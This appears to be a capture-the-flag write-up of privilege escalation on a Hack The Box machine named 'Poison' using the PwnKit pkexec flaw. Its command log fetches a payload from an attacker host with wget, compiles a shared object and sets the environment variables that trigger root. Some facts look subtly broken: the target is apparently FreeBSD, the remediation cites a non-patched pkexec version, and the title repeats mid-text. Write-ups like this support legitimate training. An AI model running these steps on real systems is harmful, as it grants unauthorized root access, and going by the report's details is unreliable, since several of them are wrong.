BugVex Security Report - Privilege Escalation on HTB "Poison"

Summary

While exploring HTB's 'Poison' machine, I was initially looking for weak sudo rules or setuid binaries. However, a quick run of LinPEAS showed me something more interesting: an outdated version of `pkexec`. From past experience, I recognized this immediately as the infamous PwnKit vulnerability (CVE-2021-4034). Exploiting it allows privilege escalation to root by abusing environment variables.

Tools Used

1. Nmap - For discovering open services on the target.
2. Gobuster - Used to brute-force hidden directories.
3. Burp Suite - Intercepted requests to analyze file uploads.
4. LinPEAS - Flagged pkexec as a potential vector.
5. GCC - Used to compile the custom exploit payload.
6. Custom Payload - Crafted a shared object for privilege escalation.
7. GDB - Used briefly to observe binary behavior.

Command Log

```
$ nmap -sC -sV -oA scan 10.10.10.84
$ gobuster dir -u http://10.10.10.84 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
$ ssh poison@10.10.10.84
$ wget http://10.10.14.10/payload.c
$ gcc payload.c -o payload.so -shared -fPIC
$ mkdir exploit && mv payload.so exploit/
$ echo 'module UTF-8// POC// payload 2' > exploit/gconv-modules
$ export GIO_USE_VFS=local
$ export PATH=./exploit:$PATH
$ export LD_PRELOAD=./exploit/payload.so
$ export GCONV_PATH=./exploit
$ export CHARSET=POC
$ pkexec
```

BugVex Security Report - Privilege Escalation on HTB "Poison"

Conclusion

The exploit worked perfectly. I spawned a root shell without any need for user interaction. PwnKit remains a dangerous vuln, especially when left unpatched on CTF or real-world targets. This was a satisfying find that reminded me to always pay attention to local privilege escalation paths - even ones that seem old.

Remediation

- Upgrade `pkexec` to a patched version (>= 0.105).
- Restrict access to compilers and dangerous binaries.
- Use AppArmor or SELinux to contain privilege boundaries.
- Monitor for suspicious environment variable activity.